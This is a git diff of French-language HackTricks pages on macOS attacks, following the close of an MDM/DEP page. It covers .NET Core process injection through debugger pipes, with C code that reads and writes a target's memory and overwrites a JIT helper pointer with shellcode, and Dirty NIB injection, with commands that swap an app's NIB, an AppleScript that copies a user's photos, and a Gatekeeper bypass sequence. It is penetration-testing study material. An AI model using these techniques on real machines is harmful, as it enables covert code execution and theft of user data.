Cela présente cependant un problème lors de l'utilisation de DEP pour amorcer l'inscription MDM, car un attaquant pourrait inscrire n'importe quel point de terminaison de son choix sur le serveur MDM de l'organisation. De plus, une fois qu'un attaquant inscrit avec succès un point de terminaison de son choix dans MDM, il peut obtenir un accès privilégié qui pourrait être utilisé pour pivoter davantage dans le réseau.
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
En conclusion, bien que DEP et MDM offrent des outils puissants pour gérer les appareils Apple dans les environnements d'entreprise, ils présentent également des vecteurs d'attaque potentiels qui doivent être sécurisés et surveillés.

185
macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md
View file

@ -1,204 +1,129 @@
# Injection dans les applications .Net macOS
# Injection d'applications .Net sur macOS
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Il s'agit d'un résumé de l'article [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Consultez-le pour plus de détails !**
## Débogage .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Établir une session de débogage** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) est responsable de la gestion de la **communication** entre le débogueur et le débogué.\
Il crée 2 pipes nommés par processus .Net dans [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) en appelant [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (l'un se terminera par **`-in`** et l'autre par **`-out`**, et le reste du nom sera le même).
La gestion de la communication entre le débogueur et le débogué dans .NET est gérée par [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ce composant met en place deux tubes nommés par processus .NET comme vu dans [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), qui sont initiés via [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ces tubes sont suffixés par **`-in`** et **`-out`**.
Ainsi, si vous allez dans le **`$TMPDIR`** de l'utilisateur, vous pourrez trouver des **fifos de débogage** que vous pourriez utiliser pour déboguer des applications .Net :
En visitant le répertoire **`$TMPDIR`** de l'utilisateur, on peut trouver des FIFOs de débogage disponibles pour déboguer des applications .Net.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
La fonction [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) gérera la communication depuis un débogueur.
La première chose qu'un débogueur doit faire est de **créer une nouvelle session de débogage**. Cela se fait en **envoyant un message via le pipe `out`** commençant par une structure `MessageHeader`, que nous pouvons obtenir à partir de la source .NET :
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) est responsable de la gestion de la communication depuis un débogueur. Pour initier une nouvelle session de débogage, un débogueur doit envoyer un message via le tube `out` commençant par une structure `MessageHeader`, détaillée dans le code source .NET :
```c
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
struct MessageHeader {
MessageType m_eType; // Message type
DWORD m_cbDataBlock; // Size of following data block (can be zero)
DWORD m_dwId; // Message ID from sender
DWORD m_dwReplyId; // Reply-to Message ID
DWORD m_dwLastSeenId; // Last seen Message ID by sender
DWORD m_dwReserved; // Reserved for future (initialize to zero)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMajorVersion; // Requested/accepted protocol version
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
```
Dans le cas d'une demande de nouvelle session, cette structure est remplie comme suit :
Pour demander une nouvelle session, cette structure est remplie comme suit, en définissant le type de message sur `MT_SessionRequest` et la version du protocole sur la version actuelle :
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
// Configure the message type and version
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Une fois construit, nous **envoyons cela à la cible** en utilisant l'appel système `write` :
Ce titre est ensuite envoyé à la cible en utilisant l'appel système `write`, suivi de la structure `sessionRequestData` contenant un GUID pour la session :
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
Suivant notre en-tête, nous devons envoyer une structure `sessionRequestData`, qui contient un GUID pour identifier notre session :
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Lors de l'envoi de notre demande de session, nous **lisons à partir du tuyau `out` un en-tête** qui indiquera **si** notre demande d'établir si une session de débogage a été **réussie** ou non :
Une opération de lecture sur le tuyau `out` confirme le succès ou l'échec de l'établissement de la session de débogage :
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
### Lire la mémoire
Avec une session de débogage établie, il est possible de **lire la mémoire** en utilisant le type de message [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Pour lire de la mémoire, le code principal nécessaire serait :
## Lecture de la mémoire
Une fois qu'une session de débogage est établie, la mémoire peut être lue en utilisant le type de message [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). La fonction readMemory est détaillée, effectuant les étapes nécessaires pour envoyer une demande de lecture et récupérer la réponse :
```c
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
// Allocation and initialization
...
// Write header and read response
...
// Read the memory from the debuggee
...
return true;
}
```
Le code de la preuve de concept (POC) est disponible [ici](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
Le concept de preuve complet (POC) est disponible [ici](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
### Écrire en mémoire
## Écriture en mémoire
De même, la mémoire peut être écrite en utilisant la fonction `writeMemory`. Le processus implique de définir le type de message sur `MT_WriteMemory`, de spécifier l'adresse et la longueur des données, puis d'envoyer les données :
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
// Increment IDs, set message type, and specify memory location
...
// Write header and data, then read the response
...
// Confirm memory write was successful
...
return true;
}
```
Le code POC utilisé pour cela peut être trouvé [ici](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
Le POC associé est disponible [ici](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
### Exécution de code .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
## Exécution de code .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
La première chose est d'identifier par exemple une région de mémoire avec **`rwx`** en cours d'exécution pour sauvegarder le shellcode à exécuter. Cela peut être facilement réalisé avec :
Pour exécuter du code, il est nécessaire d'identifier une région mémoire avec des permissions rwx, ce qui peut être fait en utilisant vmmap -pages:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
```markdown
Ensuite, pour déclencher l'exécution, il serait nécessaire de connaître un endroit où un pointeur de fonction est stocké pour l'écraser. Il est possible d'écraser un pointeur dans la **Table de Fonctions Dynamiques (DFT)**, qui est utilisée par l'exécution de .NET Core pour fournir des fonctions d'assistance pour la compilation JIT. Une liste des pointeurs de fonction pris en charge peut être trouvée dans [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
Localiser un endroit pour écraser un pointeur de fonction est nécessaire, et dans .NET Core, cela peut être fait en ciblant la **Table de Fonctions Dynamiques (DFT)**. Cette table, détaillée dans [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), est utilisée par le runtime pour les fonctions d'aide à la compilation JIT.
Dans les versions x64, cela est simple en utilisant la technique de **signature hunting** à la manière de mimikatz pour rechercher dans **`libcorclr.dll`** une référence au symbole **`_hlpDynamicFuncTable`**, que nous pouvons déréférencer :
Pour les systèmes x64, la chasse aux signatures peut être utilisée pour trouver une référence au symbole `_hlpDynamicFuncTable` dans `libcorclr.dll`.
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
La fonction de débogage `MT_GetDCB` fournit des informations utiles, y compris l'adresse d'une fonction d'aide, `m_helperRemoteStartAddr`, indiquant l'emplacement de `libcorclr.dll` dans la mémoire du processus. Cette adresse est ensuite utilisée pour démarrer une recherche de la DFT et écraser un pointeur de fonction avec l'adresse du shellcode.
Il ne reste plus qu'à trouver une adresse à partir de laquelle commencer notre recherche de signature. Pour ce faire, nous utilisons une autre fonction de débogage exposée, **`MT_GetDCB`**. Cela retourne un certain nombre d'informations utiles sur le processus cible, mais dans notre cas, nous sommes intéressés par un champ retourné contenant **l'adresse d'une fonction d'assistance**, **`m_helperRemoteStartAddr`**. En utilisant cette adresse, nous savons juste **où `libcorclr.dll` est situé** dans la mémoire du processus cible et nous pouvons commencer notre recherche de la DFT.
Connaissant cette adresse, il est possible d'écraser le pointeur de fonction avec celui de nos shellcodes.
Le code POC complet utilisé pour l'injection dans PowerShell peut être trouvé [ici](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
Le code POC complet pour l'injection dans PowerShell est accessible [ici](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Références
* Cette technique a été prise de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
```

139
macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md
View file

@ -2,128 +2,85 @@
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Cette technique a été reprise du post** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
**Pour plus de détails sur la technique, consultez l'article original sur : [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)**. Voici un résumé :
## Informations de base
Les fichiers NIB, faisant partie de l'écosystème de développement d'Apple, sont destinés à définir des **éléments d'interface utilisateur** et leurs interactions dans les applications. Ils englobent des objets sérialisés tels que des fenêtres et des boutons, et sont chargés à l'exécution. Malgré leur utilisation continue, Apple préconise désormais l'utilisation de Storyboards pour une visualisation plus complète du flux de l'interface utilisateur.
Les fichiers NIB sont utilisés dans l'écosystème de développement d'Apple pour **définir les éléments de l'interface utilisateur (UI)** et leurs interactions au sein d'une application. Créés avec l'outil Interface Builder, ils contiennent des **objets sérialisés** comme des fenêtres, des boutons et des champs de texte, qui sont chargés au moment de l'exécution pour présenter l'UI conçue. Bien qu'encore utilisés, Apple a évolué vers la recommandation des Storyboards pour une représentation plus visuelle du flux UI d'une application.
### Problèmes de sécurité avec les fichiers NIB
Il est crucial de noter que les **fichiers NIB peuvent représenter un risque de sécurité**. Ils ont le potentiel d'**exécuter des commandes arbitraires**, et les modifications apportées aux fichiers NIB dans une application n'empêchent pas Gatekeeper d'exécuter l'application, ce qui constitue une menace significative.
{% hint style="danger" %}
De plus, les **fichiers NIB** peuvent également être utilisés pour **exécuter des commandes arbitraires** et si un fichier NIB est modifié dans une application, **Gatekeeper permettra toujours d'exécuter l'application**, donc ils peuvent être utilisés pour **exécuter des commandes arbitraires à l'intérieur des applications**.
{% endhint %}
### Processus d'injection Dirty NIB
#### Création et configuration d'un fichier NIB
1. **Configuration initiale** :
- Créez un nouveau fichier NIB à l'aide de XCode.
- Ajoutez un objet à l'interface, en définissant sa classe sur `NSAppleScript`.
- Configurez la propriété initiale `source` via les attributs d'exécution définis par l'utilisateur.
## Injection Dirty NIB <a href="#dirtynib" id="dirtynib"></a>
2. **Gadget d'exécution de code** :
- La configuration facilite l'exécution d'AppleScript sur demande.
- Intégrez un bouton pour activer l'objet `Apple Script`, déclenchant spécifiquement le sélecteur `executeAndReturnError:`.
D'abord, nous devons créer un nouveau fichier NIB, nous utiliserons XCode pour la majeure partie de la construction. Nous commençons par ajouter un Objet à l'interface et définir la classe sur NSAppleScript :
<figure><img src="../../../.gitbook/assets/image (681).png" alt="" width="380"><figcaption></figcaption></figure>
Pour l'objet, nous devons définir la propriété `source` initiale, ce que nous pouvons faire en utilisant les Attributs d'Exécution Définis par l'Utilisateur :
<figure><img src="../../../.gitbook/assets/image (682).png" alt="" width="563"><figcaption></figcaption></figure>
Cela met en place notre gadget d'exécution de code, qui va juste **exécuter AppleScript sur demande**. Pour déclencher réellement l'exécution de l'AppleScript, nous allons juste ajouter un bouton pour l'instant (vous pouvez bien sûr être créatif avec cela ;). Le bouton sera lié à l'objet `Apple Script` que nous venons de créer, et va **invoquer le sélecteur `executeAndReturnError:`** :
<figure><img src="../../../.gitbook/assets/image (683).png" alt="" width="563"><figcaption></figcaption></figure>
Pour les tests, nous utiliserons simplement l'Apple Script de :
3. **Test** :
- Un simple Apple Script à des fins de test :
```bash
set theDialogText to "PWND"
display dialog theDialogText
```
Et si nous exécutons cela dans le débogueur XCode et appuyons sur le bouton :
- Testez en exécutant dans le débogueur XCode et en cliquant sur le bouton.
<figure><img src="../../../.gitbook/assets/image (684).png" alt="" width="563"><figcaption></figcaption></figure>
#### Ciblage d'une application (Exemple : Pages)
1. **Préparation** :
- Copiez l'application cible (par exemple, Pages) dans un répertoire séparé (par exemple, `/tmp/`).
- Lancez l'application pour contourner les problèmes de Gatekeeper et mettez-la en cache.
Avec notre capacité à exécuter du code AppleScript arbitraire à partir d'un NIB, nous avons ensuite besoin d'une cible. Choisissons Pages pour notre démo initiale, qui est bien sûr une application Apple et ne devrait certainement pas être modifiable par nous.
2. **Remplacement du fichier NIB** :
- Remplacez un fichier NIB existant (par exemple, le NIB du panneau À propos) par le fichier DirtyNIB créé.
Nous allons d'abord faire une copie de l'application dans `/tmp/` :
```bash
cp -a -X /Applications/Pages.app /tmp/
```
Ensuite, nous lancerons l'application pour éviter tout problème avec Gatekeeper et permettre la mise en cache des éléments :
```bash
open -W -g -j /Applications/Pages.app
```
Après avoir lancé (et tué) l'application pour la première fois, nous devrons remplacer un fichier NIB existant par notre fichier DirtyNIB. À des fins de démonstration, nous allons simplement remplacer le NIB du panneau À propos afin de pouvoir contrôler l'exécution :
```bash
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
```
Une fois que nous avons écrasé le nib, nous pouvons déclencher l'exécution en sélectionnant l'élément de menu `About` :
3. **Exécution** :
- Déclenchez l'exécution en interagissant avec l'application (par exemple, en sélectionnant l'élément de menu `À propos`).
<figure><img src="../../../.gitbook/assets/image (685).png" alt="" width="563"><figcaption></figcaption></figure>
#### Preuve de concept : Accès aux données utilisateur
- Modifiez l'AppleScript pour accéder et extraire des données utilisateur, telles que des photos, sans le consentement de l'utilisateur.
Si nous examinons Pages de plus près, nous constatons qu'il dispose d'un droit d'accès privé permettant d'accéder aux Photos d'un utilisateur :
### Exemple de code : Fichier .xib malveillant
- Accédez et examinez un [**exemple de fichier .xib malveillant**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) qui démontre l'exécution de code arbitraire.
<figure><img src="../../../.gitbook/assets/image (686).png" alt="" width="479"><figcaption></figcaption></figure>
### Traitement des contraintes de lancement
- Les contraintes de lancement empêchent l'exécution de l'application à partir d'emplacements inattendus (par exemple, `/tmp`).
- Il est possible d'identifier les applications non protégées par les contraintes de lancement et de les cibler pour l'injection de fichiers NIB.
Nous pouvons donc mettre notre POC à l'épreuve en **modifiant notre AppleScript pour voler des photos** de l'utilisateur sans demande de confirmation :
### Protections supplémentaires macOS
À partir de macOS Sonoma, les modifications à l'intérieur des bundles d'applications sont restreintes. Cependant, les méthodes antérieures impliquaient :
1. Copier l'application dans un emplacement différent (par exemple, `/tmp/`).
2. Renommer les répertoires à l'intérieur du bundle de l'application pour contourner les protections initiales.
3. Après avoir exécuté l'application pour s'enregistrer auprès de Gatekeeper, modifier le bundle de l'application (par exemple, remplacer MainMenu.nib par Dirty.nib).
4. Renommer les répertoires et relancer l'application pour exécuter le fichier NIB injecté.
{% code overflow="wrap" %}
```applescript
use framework "Cocoa"
use framework "Foundation"
**Remarque** : Les récentes mises à jour de macOS ont atténué cette faille en empêchant les modifications de fichiers à l'intérieur des bundles d'applications après la mise en cache de Gatekeeper, rendant l'exploit inefficace.
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
```
{% endcode %}
{% hint style="danger" %}
[**Exemple de fichier .xib malveillant qui exécute du code arbitraire.**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
{% endhint %}
## Créez votre propre DirtyNIB
## Contraintes de lancement
Elles **empêchent l'exécution d'applications en dehors de leurs emplacements attendus**, donc si vous copiez une application protégée par des contraintes de lancement dans `/tmp`, vous ne pourrez pas l'exécuter.\
[**Trouvez plus d'informations dans cet article**](../macos-security-protections/#launch-constraints)**.**
Cependant, en analysant le fichier **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**, vous pouvez toujours trouver **des applications qui ne sont pas protégées par des contraintes de lancement** et vous pourriez donc toujours **injecter** des fichiers **NIB** dans des emplacements arbitraires dans **ces applications** (consultez le lien précédent pour apprendre à trouver ces applications).
## Protections supplémentaires
À partir de macOS Somona, il existe des protections **empêchant d'écrire à l'intérieur des applications**. Cependant, il est toujours possible de contourner cette protection si, avant d'exécuter votre copie du binaire, vous changez le nom du dossier Contents :
1. Prenez une copie de `CarPlay Simulator.app` dans `/tmp/`
2. Renommez `/tmp/Carplay Simulator.app/Contents` en `/tmp/CarPlay Simulator.app/NotCon`
3. Lancez le binaire `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` pour le mettre en cache avec Gatekeeper
4. Remplacez `NotCon/Resources/Base.lproj/MainMenu.nib` par notre fichier `Dirty.nib`
5. Renommez en `/tmp/CarPlay Simulator.app/Contents`
6. Lancez `CarPlay Simulator.app` à nouveau
{% hint style="success" %}
Il semble que cela ne soit plus possible car macOS **empêche la modification des fichiers** à l'intérieur des paquets d'applications.\
Ainsi, après avoir exécuté l'application pour la mettre en cache avec Gatekeeper, vous ne pourrez pas modifier le paquet.\
Et si vous changez par exemple le nom du répertoire Contents en **NotCon** (comme indiqué dans l'exploit), puis exécutez le binaire principal de l'application pour la mettre en cache avec Gatekeeper, cela **déclenchera une erreur et n'exécutera pas**.
{% endhint %}
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
